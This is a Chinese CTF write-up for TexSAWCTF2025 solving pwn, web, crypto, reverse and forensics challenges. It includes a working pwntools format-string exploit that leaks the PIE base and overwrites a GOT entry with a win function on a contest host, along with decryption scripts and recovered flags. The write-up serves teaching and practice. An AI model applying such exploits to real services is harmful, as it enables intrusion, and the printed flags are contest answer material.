TexSAWCTF2025 writeup by Mini-Venom

admin 2025年4月15日09:49:39评论1 views字数 10691阅读35分38秒阅读模式

招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组) 

Pwn:

ez printf

第一次fmt泄露pie地址

TexSAWCTF2025 writeup by Mini-Venom

第二次格式化字符串,打got表为后门函数

from pwn import*defbug():        gdb.attach(p)        pause()defs(a):        p.send(a)defsa(a,b):        p.sendafter(a,b)defsl(a):        p.sendline(a)defsla(a,b):        p.sendlineafter(a,b)defr(a):        p.recv(a)#def pr(a):#print(p.recv(a))defrl(a):return p.recvuntil(a)definter():        p.interactive()defget_addr64():return u64(p.recvuntil("x7f")[-6:].ljust(8,b'x00'))defget_addr32():return u32(p.recvuntil("xf7")[-4:])defget_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/shx00").__next__()defget_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')#context(os='linux',arch='i386',log_level='debug')   context(os='linux',arch='amd64',log_level='debug')libc=ELF('./libc.so.6')elf=ELF('./vuln')p=remote('74.207.229.59',20221)#p = process('./vuln')sleep(0.2)pay=b"%27$p"#bug()s(pay)sleep(0.2)rl(b'0x')pie_base=int(p.recv(12),16)-0x11B3li(hex(pie_base))puts_plt=pie_base+0x4000li(hex(puts_plt))win=pie_base+0x1189li(hex(win))sleep(0.1)payload=fmtstr_payload(6,{puts_plt:win})    li(hex(len(payload)))s(payload)inter()        

Web:

Deprecated Site

robots.txt有一个flaghint.txt

访问flaghint.txt

请求用DELETE请求

Crypto:

who-made-this-anyway

题干中所提到的密码学家Giovan Battista Bellaso提出的多字母替代密码实际上就是我们现在的维吉尼亚密码的前身,题目无秘钥,因此需要对秘钥进行分析,可以利用https://www.guballa.de/vigenere-solver

得到和比赛名字类似的密钥

key-reuse

Many times pad

真sb,纯纯猜。。。

import Crypto.Util.strxor as xofrom Crypto.Util.number import *import libnum, codecs, numpy as npnumber = [32]for i in range(65,91):    number.append(i)for i in range(97,123):    number.append(i)c = [0x200d1d2014071e152b1c1e022d2615100617112a0804,0x20000035191102062C1016091334110B1703182A020D]c_ = [long_to_bytes(c[0]),long_to_bytes(c[1])]k = b'texsaw{'print(long_to_bytes(bytes_to_long(k)^bytes_to_long(c_[0][:7])^bytes_to_long(c_[1][:7])))for i in range(256):    k1 = i^(c_[0][7])    k2 = i^(c_[1][7])if k1 in number and k2 in number:        print(i,long_to_bytes(k1),long_to_bytes(k2))print(long_to_bytes(bytes_to_long(b'}')^(c_[0][-1])^(c_[1][-1])))k_ = 3*b'theflag'+b't'print(long_to_bytes(bytes_to_long(k_)^bytes_to_long(c_[0])^bytes_to_long(c_[1])))

Reverse:

xorer

ida打开看到就是一个xor

void __cdecl check_password(char *input){int v1; // eaxunsigned __int8 key[12]; // [esp+Ch] [ebp-1Ch] BYREFint len; // [esp+18h] [ebp-10h]int i; // [esp+1Ch] [ebp-Ch]  qmemcpy(key, "藭漾淹桗蒙懧"6);  len = strlen(input);for ( i = 0; i <= 7; ++i )  {    v1 = input[i];    LOBYTE(v1) = v1 ^ 0xA5;if ( v1 != key[i] )    {puts("Wrong password!");return;    }  }printf("Correct! Here's your flag: texsaw{%s}n", input);}

数据提取出来直接异或

TexSAWCTF2025 writeup by Mini-Venom

texsaw{n0t_th3_fl4g}

Too Early 4 Me

ida打开分析,直接有decode的逻辑,改一下EIP,改到decode函数的地址,直接程序自己输出了

unsigned __int64 decode_flag(){int i; // [rsp+8h] [rbp-118h]unsignedint j; // [rsp+Ch] [rbp-114h]char v3[264]; // [rsp+10h] [rbp-110h]unsigned __int64 v4; // [rsp+118h] [rbp-8h]  v4 = __readfsqword(0x28u);for ( i = 0; i <= 255; ++i )    v3[sbox[i]] = i;printf("Decoded flag: ");for ( j = 0; j <= 33; ++j )putchar(v3[encoded_flag[j]]);putchar(10);return v4 - __readfsqword(0x28u);}
TexSAWCTF2025 writeup by Mini-Venom

texsaw{how_signalicious_much_swag}

ez rev

一道OCaml逆向。

ida打开分析,进入main函数,看到

int __fastcall __noreturn main(int argc, constchar **argv, constchar **envp){  caml_main((char_os **)argv);  caml_do_exit(0);}

直接跟进caml_main函数,然后再跟进caml_startup_common函数

这是OCaml运行时系统的启动函数,负责初始化OCaml虚拟机环境,调用初始化OCaml域,解析运行时参数等等。

调用caml_start_program启动OCaml主程序

TexSAWCTF2025 writeup by Mini-Venom

跟进

javascript__int64 __fastcall caml_start_program(_QWORD *a1){  __int64 v1; // r15  __int64 result; // rax  _QWORD v3[2]; // [rsp-28h] [rbp-68h] BYREF  __int64 v4; // [rsp-18h] [rbp-58h]  __int64 v5; // [rsp-10h] [rbp-50h]  __int64 v6; // [rsp-8h] [rbp-48h]  v6 = a1[28];  v5 = a1[27];  v4 = a1[26];  v1 = a1[1];  v3[1] = sub_846FF;  v3[0] = a1[2];  a1[2] = v3;  result = caml_startup__code_begin();  a1[2] = v3[0];  a1[1] = v1;  a1[26] = v4;  a1[27] = v5;  a1[28] = v6;return result;}

这是OCaml运行时系统中启动OCaml主程序的函数,它负责设置执行环境并跳转到OCaml代码的入口点。

跟进caml_startup__code_begin函数

__int64 caml_startup__code_begin(){  camlCamlinternalFormatBasics__entry();  ++caml_globals_inited;  camlCamlinternalAtomic__entry();  ++caml_globals_inited;  camlStdlib__entry();  ++caml_globals_inited;  camlStdlib__Sys__entry();  ++caml_globals_inited;  camlStdlib__Obj__entry();  ++caml_globals_inited;  camlCamlinternalLazy__entry();  ++caml_globals_inited;  camlStdlib__Lazy__entry();  ++caml_globals_inited;  camlStdlib__Seq__entry();  ++caml_globals_inited;  camlStdlib__Char__entry();  ++caml_globals_inited;  camlStdlib__Uchar__entry();  ++caml_globals_inited;  camlStdlib__List__entry();  ++caml_globals_inited;  camlStdlib__Int__entry();  ++caml_globals_inited;  camlStdlib__Bytes__entry();  ++caml_globals_inited;  camlStdlib__String__entry();  ++caml_globals_inited;  camlStdlib__Buffer__entry();  ++caml_globals_inited;  camlCamlinternalFormat__entry();  ++caml_globals_inited;  camlStdlib__Printf__entry();  ++caml_globals_inited;  camlEasy_rev__entry();  ++caml_globals_inited;  camlStd_exit__entry();  ++caml_globals_inited;return 1LL;}

这是OCaml程序启动时的初始化函数,负责初始化OCaml标准库和用户模块的入口点。

**camlEasy_rev__entry()**模块应该就是出题人自定义的模块

void __cdecl camlEasy_rev__entry(){  __int64 v0; // rax  __int64 v1; // rax  __int64 v2; // rax  void (**v3)(void); // rax  camlEasy_rev[0] = &camlEasy_rev__10;  camlEasy_rev[1] = &camlEasy_rev__20;  camlEasy_rev[2] = &camlEasy_rev__30;  camlStdlib___40_198();  camlStdlib___40_198();  camlEasy_rev[3] = v0;  camlEasy_rev[4] = &camlEasy_rev__38;  camlStdlib__List__map_482();  camlEasy_rev[5] = v1;  camlStdlib__List__fold_left_521();  camlEasy_rev[6] = v2;  camlStdlib__Printf__fprintf_422();  (*v3)();}

**camlStdlib___40_198()的作用是构造链表。然后呢,这里的camlStdlibListfold_left_521()**函数需要修改一下函数声明,然后F5重新反编译一下,

void __cdecl camlEasy_rev__entry(){  __int64 v0; // rsi  __int64 v1; // rax  __int64 v2; // rax  __int64 v3; // rdx  __int64 v4; // rax  void (**v5)(void); // rax  camlEasy_rev[0] = &camlEasy_rev__10;  camlEasy_rev[1] = &camlEasy_rev__20;  camlEasy_rev[2] = &camlEasy_rev__30;  camlStdlib___40_198();  camlStdlib___40_198();  camlEasy_rev[3] = v1;  camlEasy_rev[4] = &camlEasy_rev__38;  camlStdlib__List__map_482();  camlEasy_rev[5] = v2;  camlStdlib__List__fold_left_521(camlEasy_rev[5], v0, v3);  camlEasy_rev[6] = v4;  camlStdlib__Printf__fprintf_422();  (*v5)();}

然后动调,camlStdlibListfold_left_521函数的第二个参数才是本来的操作

TexSAWCTF2025 writeup by Mini-Venom

这段应该是实现除法的功能。然后**camlStdlibPrintffprintf_422()**函数就会输出

sum of all flag elements: 2836

TexSAWCTF2025 writeup by Mini-Venom

这些就是对应数据,写个脚本抠出来

import idautilsimport idcimport idaapidefget_first_qword(addr):"""读取地址处的第一个 QWORD 值"""return idc.get_qword(addr)defmain():    print("[*] Extracting camlEasy_rev__1 to camlEasy_rev__30 values...")    results = []# 遍历符号 camlEasy_rev__1 到 camlEasy_rev__30for i in range(131):  # 1~30        symbol_name = f"camlEasy_rev__{i}"        symbol_addr = idc.get_name_ea_simple(symbol_name)# 验证符号是否存在if symbol_addr == idaapi.BADADDR:            print(f"[!] Symbol {symbol_name} not found!")continue# 读取第一个 QWORD 值(假设链表节点结构为 [QWORD data, QWORD next])        first_qword = get_first_qword(symbol_addr)        results.append((symbol_name, first_qword))# 输出结果for name, value in results:        print(f"{name}: 0x{value:X}")if __name__ == "__main__":    main()

拿到数据,可以开始写爆破脚本了,因为具体不知道出几,然后flag字符的和就是运行程序输出的那个值,2836。但是还有一个问题,就是flag字符的顺序。

分析链表构造函数逻辑可知,采用的是递归反向构造技术,并且将flag平均分成三部分,也可以从节点的指针进行分析

TexSAWCTF2025 writeup by Mini-Venom
TexSAWCTF2025 writeup by Mini-Venom

这是一个完整的节点,前半部分是本节点的值,后半部分是指向的下一个节点。如上图就是第十个节点的值是0x289,指向的下一个节点就是第九个节点。

然后我们按顺序处理好数据,然后写个脚本进行求解

enc = [ 0x2B90x25F0x2D10x2B30x2470x2CB0x2E30x2470x23B0x24D,0x1270x2B90x23B0x1210x2650x23B0x1210x2530x1390x28F,0x2890x23B0x2AD0x1330x2C50x1330x2AD0x2B30x1330x2EF,]for num in range(1100):    sum = 0for i in enc:        sum += i // numif sum == 2836:        print("flag: ", end="")for j in enc:            print(chr(j // num), end="")        print()        print(f"divisor: {num}")

flag: texsaw{a_b1t_0f_0c4ml_r3v3rs3}divisor: 6

Babies first ez Python4

下载下来附件是个.txt,打开来看到内容是混淆严重的python字节码

可以先写个脚本进行去除一下

import re# 读取文件内容with open("chal.txt""r", encoding="utf-8"as f:    content = f.read()# 匹配由 a 和 b 组成的、长度不少于 20 的连续串pattern = r"(?:[ab]{20,})"# 找到所有匹配项matches = re.findall(pattern, content)# 用于记录已经替换过的串,防止重复编号seen = {}counter = 1# 替换函数defreplacer(match):global counter    m = match.group(0)if m notin seen:        label = f"obf_{counter:03d}"        seen[m] = label        counter += 1return seen[m]# 进行替换new_content = re.sub(pattern, replacer, content)# 将处理后的内容写入新文件with open("cleaned_chal.txt""w", encoding="utf-8"as f:    f.write(new_content)

然后代码前半部分,应该是常量的申明

TexSAWCTF2025 writeup by Mini-Venom

然后这部分应该是类似于函数头和函数结尾?

TexSAWCTF2025 writeup by Mini-Venom

再往下就是每个常量,或者说字符的由来

TexSAWCTF2025 writeup by Mini-Venom

就是根据字符 '_'的长度,减27,然后转成字符,这里可以写哥脚本提出来

import redefextract_from_disassembly(file_path, output_path):with open(file_path, "r", encoding="utf-8"as f:        content = f.read()# 匹配每段函数体:Disassembly of <code object obf_XXX ...> 到下一个 Disassembly 或文件末尾    pattern = r'Disassembly of <code object (obf_d{3})[^>]*>:n(.*?)(?=Disassembly of <code object|$)'    matches = re.findall(pattern, content, re.DOTALL)    results = []for func_name, block_text in matches:# 找到连续 30 个以上下划线        underscores = re.findall(r'_{30,}', block_text)for us in underscores:            code = len(us) - 27            char = chr(code) if0 <= code <= 127else'?'            results.append(f"{func_name}{char}")# 保存到文件with open(output_path, "w", encoding="utf-8"as f:        f.write('n'.join(results))    print(f"✅ 已保存输出到: {output_path}")    print(f"共提取 {len(results)} 个字符。")# 使用if __name__ == "__main__":    input_file = "cleaned_chal.txt"    output_file = "underscore_ascii.txt"    extract_from_disassembly(input_file, output_file)
TexSAWCTF2025 writeup by Mini-Venom

输出的内容就是每个字符和所对应的变量名(应该称之为变量名吗?)。然后继续分析

如果合在一起就是

e}hCAvT|_I$PBkU&8^*j??UjC-Eu03HQx{9h)fsr@b!MbzaE@000SLOCDM@aZJ3}T^<&soW>K);b46)R^5Q~60j9WLpOKaR?X=B^blpE@}ScQbr&5eC;qC{uDh2&`o8byg;hY8jCT_f{2Y35inputimportbase64b85encodeimportzlibcompressencodecencodeprintcorrect flag!

然后根据那一堆没去混淆的z_zzz_zzz来进行回车分割可以猜测就是调用了**encode()方法,然后还用到了zlib.compress()base64.b85encode()**,

再往下

TexSAWCTF2025 writeup by Mini-Venom

就是对密文的加载,根据这里加载的混淆名,可以得到完整的密文,

TexSAWCTF2025 writeup by Mini-Venom

这里注意不能漏了最后一个'c'

TexSAWCTF2025 writeup by Mini-Venom

然后梳理完整的流程就是

调用了encode()方法,将字符串转换为字节序列 ->

使用zlib.compress()进行压缩->

使用base64.b85encode()对压缩后的数据进行base85编码->

然后就可以写脚本进行解密了

import base64import zlibencrypted_data = "8*jM&r0}aB{cb^}hOlWbE{pagYKuQ_oH6^DQxQ4`;02JaD5I&@e6u?3o^ET_W@j5`CYBC|5;qT2bSRCjf>@~9hb?U{RhZL&3!EvM?-Sh)8<sPyk)Xb}@sKrpb90=0TjCCCUe0&8`3z;fAOL)^$c"encrypted_data = encrypted_data[::-1]with open('decoded_data.bin''wb'as f:    decoded_data = base64.b85decode(encrypted_data)    f.write(decoded_data)    print(f"decoded_data.bin ({len(decoded_data)})")try:    decompressed_data = zlib.decompress(decoded_data)    print(f"zlib success ({len(decompressed_data)} )")with open('decompressed_data.bin''wb'as f:        f.write(decompressed_data)        print("result: decompressed_data.bin")except zlib.error as e:    print(f"zlib failed: {e}")# print(decoded_data.hex()[:100] + '...')

得到flag

texsaw{python_4_will_never_exist_but_if_it_did_it_might_look_like_this_maybe_but_no_one_can_be_for_sure_did_yall_use_chatgpt_for_this?_let_me_know_if_so}

Forensics:

Favorite Flower

其实信息就隐藏在图片里,但肉眼一下很难看出来,拉近ps改一下RGB通道,就能一眼丁真了

TexSAWCTF2025 writeup by Mini-Venom

Freaky Flower

ps的工程文件,直接拉进ps就能看见

TexSAWCTF2025 writeup by Mini-Venom

结束

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]

TexSAWCTF2025 writeup by Mini-Venom

原文始发于微信公众号(ChaMd5安全团队):TexSAWCTF2025 writeup by Mini-Venom

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月15日09:49:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   TexSAWCTF2025 writeup by Mini-Venomhttps://cn-sec.com/archives/3957249.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息